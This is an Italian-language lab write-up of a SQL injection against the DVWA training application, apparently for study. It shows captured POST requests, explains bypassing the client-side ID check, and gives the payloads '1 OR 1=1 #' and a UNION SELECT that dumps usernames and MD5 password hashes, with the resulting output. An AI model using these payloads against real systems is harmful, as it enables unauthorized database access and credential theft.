La richiesta HTTP effettuata è la seguente
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 Host: evil.com Content-Length: 18 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://evil.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://evil.com/dvwa/vulnerabilities/sqli/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: security=medium; PHPSESSID=cha7rsj468ggoua24i1pp32k81 Connection: close id=1&Submit=Submit
Anche se il codice html prova a rinforzare il controllo sul valore dell'ID, facendo in modo che L'ID possa essere solamente un valore tra 1 e 5.
<form action="#" method="POST"> <p> User ID: <select name="id"> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> </select> <input type="submit" name="Submit" value="Submit"> </p> </form>
Andando a manipolare direttamente la richiesta POST e cambiando il
valore di id
in un valore a nostra scelta, bypassiamo ogni
controllo. Se mettiamo il payload
id=1+1&Submit=Submit
otteniamo il seguente errore SQL
<pre>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1' at line 1</pre>
La presenza di questo errore è un possibile sintomo del fatto che l'input dell'utente è utilizzato direttamente e senza sanificazioni per costruire la query che viene poi eseguita sul database. Queste potrebbe portare ad una SQL injection.
Il payload di interesse per ottenere una sqli è quindi il seguente
1 OR 1=1 #
se poi siamo interessati a tutte le password, possiamo utilizzare quest'altro payload
1 UNION SELECT first_name, password FROM users #
Che ci ritorna la seguente risposta
<pre>ID: 1 UNION SELECT first_name, password FROM users # <br />First name: admin <br />Surname: admin</pre> <pre>ID: 1 UNION SELECT first_name, password FROM users #<br />First name: admin<br />Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre> <pre>ID: 1 UNION SELECT first_name, password FROM users #<br />First name: Gordon<br />Surname: e99a18c428cb38d5f260853678922e03</pre> <pre>ID: 1 UNION SELECT first_name, password FROM users #<br />First name: Hack<br />Surname: 8d3533d75ae2c3966d7e0d4fcc69216b</pre> <pre>ID: 1 UNION SELECT first_name, password FROM users #<br />First name: Pablo<br />Surname: 0d107d09f5bbe40cade3de5c71e9e9b7</pre> <pre>ID: 1 UNION SELECT first_name, password FROM users #<br />First name: Bob<br />Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre>
POST /dvwa/vulnerabilities/sqli/ HTTP/1.1 Host: evil.com Content-Length: 65 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://evil.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://evil.com/dvwa/vulnerabilities/sqli/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: security=medium; PHPSESSID=cha7rsj468ggoua24i1pp32k81 Connection: close id=1 UNION SELECT first_name, password FROM users #&Submit=Submit